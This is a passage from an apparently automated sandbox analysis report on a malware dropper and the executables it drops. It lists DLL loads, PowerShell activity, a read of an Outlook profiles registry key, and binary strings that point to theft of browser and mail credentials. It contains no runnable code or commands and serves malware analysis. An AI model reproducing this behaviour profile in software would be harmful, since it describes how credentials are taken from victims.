Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10010480101\RHPLumH.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: Anv6Gbh51e.exe

Static file information: File size 3137536 > 1048576

Source: Anv6Gbh51e.exe

Static PE information: Raw size of zjhdmfah is bigger than: 0x100000 < 0x2a1600

Source:	Binary string: mozglue.pdbP source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579882796.000000006CDFD000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.7.dr, mozglue[1].dll.7.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.7.dr, freebl3[1].dll.7.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.7.dr, freebl3[1].dll.7.dr
Source:	Binary string: System.Windows.Forms.pdb source: WERA4B9.tmp.dmp.24.dr
Source:	Binary string: nss3.pdb@ source: XK9L90SC7AOEFMV7ZL8Q53257L.exe, 00000007.00000002.2579407264.000000006C5CF000.00000002.00000001.01000000.0000000D.sdmp, nss3[1].dll.7.dr, nss3.dll.7.dr
Source:	Binary string: C:\Users\users\source\repos\Brought\Brought\obj\Release\Brought.pdbL6f6 X6_CorExeMainmscoree.dll source: Yg1HwMX.exe, 00000014.00000000.2938937578.00000000006B2000.00000002.00000001.01000000.00000012.sdmp, Yg1HwMX.exe, 00000014.00000002.3013505896.0000000003969000.00000004.00000800.00020000.00000000.sdmp, Yg1HwMX[1].exe.12.dr, Yg1HwMX.exe.12.dr
Source:	Binary string: mscorlib.pdb source: WERA4B9.tmp.dmp.24.dr
